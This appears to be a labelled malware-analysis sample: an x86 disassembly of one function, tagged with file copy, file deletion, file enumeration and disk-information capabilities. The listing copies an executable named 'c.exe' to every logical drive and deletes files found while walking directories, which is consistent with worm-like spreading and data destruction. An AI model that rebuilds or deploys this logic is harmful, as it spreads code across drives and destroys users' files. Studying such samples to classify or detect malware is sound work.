Function at 0x4029c0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
mov eax, dword [0x408040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.c.exe]
push ebx
push esi
push edi
mov dword [ebp - 0x794], eax
mov ax, word [0x405370]
push 0x103
mov word [ebp - 0x790], ax
lea eax, [ebp - 0x123]
push 0
push eax
mov dword [ebp - 0x78e], 0
mov byte [ebp - 0x124], 0
call sub.VCRUNTIME140.dll_memset
push 0x95
lea eax, [ebp - 0x1bb]
mov byte [ebp - 0x1bc], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x2bf]
mov byte [ebp - 0x2c0], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x103
lea eax, [ebp - 0x3c3]
mov byte [ebp - 0x3c4], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
add esp, 0x30
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x644]
push eax
push 0x405374
call esi
mov esi, eax
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
je 0x402ac3
nop dword [eax]
push dword [0x408308]
lea eax, [ebp - 0x618]
push eax
call fcn.00401e40
add esp, 8
lea eax, [ebp - 0x644]
push eax
push esi
call ebx
test eax, eax
jne 0x402aa0
push 0x408430
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
cmp byte [0x408430], 0
mov ebx, 0x408430
je 0x402b50
lea edx, [ebp - 0x20]
mov ecx, ebx
sub edx, ebx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x402af0
lea edx, [ebp - 0x794]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x402b05
lea edi, [ebp - 0x20]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402b12
mov ecx, edx
lea eax, [ebp - 0x20]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, edx
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0x408310
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402b40
sub ecx, edx
inc ebx
add ebx, ecx
cmp byte [ebx], al
jne 0x402ae1
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea eax, [ebp - 0x504]
push eax
push 0x40537c
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [ebp - 0x504]
push ecx
push eax
mov dword [ebp - 0x788], eax
call ebx
test eax, eax
je 0x402a70
cmp dword [ebp - 0x504], 0x10
jne 0x402d05
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1bc]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x125], al
test al, al
jne 0x402b91
lea edx, [ebp - 0x4d8]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x402bb0
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402bc0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2c1], al
test al, al
jne 0x402be0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x124]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x3c5], al
test al, al
jne 0x402c00
lea ecx, [ebp - 0x2c0]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x402c20
mov eax, dword [str..]
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ecx], eax
mov al, byte [0x405384]
mov byte [ecx + 4], al
lea eax, [ebp - 0x784]
push eax
lea eax, [ebp - 0x2c0]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x402cff
nop word [eax + eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x3c4]
lea eax, [eax + 1]
mov byte [ebp + eax - 0x125], cl
test cl, cl
jne 0x402c72
lea edi, [ebp - 0x124]
dec edi
nop
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x402c90
mov ax, word [0x405388]
lea edx, [ebp - 0x758]
mov word [edi], ax
mov esi, edx
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x402cb0
lea edi, [ebp - 0x124]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x402cc0
mov ecx, edx
lea eax, [ebp - 0x124]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x784]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402c70
mov esi, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea eax, [ebp - 0x504]
push eax
push dword [ebp - 0x788]
call ebx
test eax, eax
jne 0x402b82
jmp 0x402a70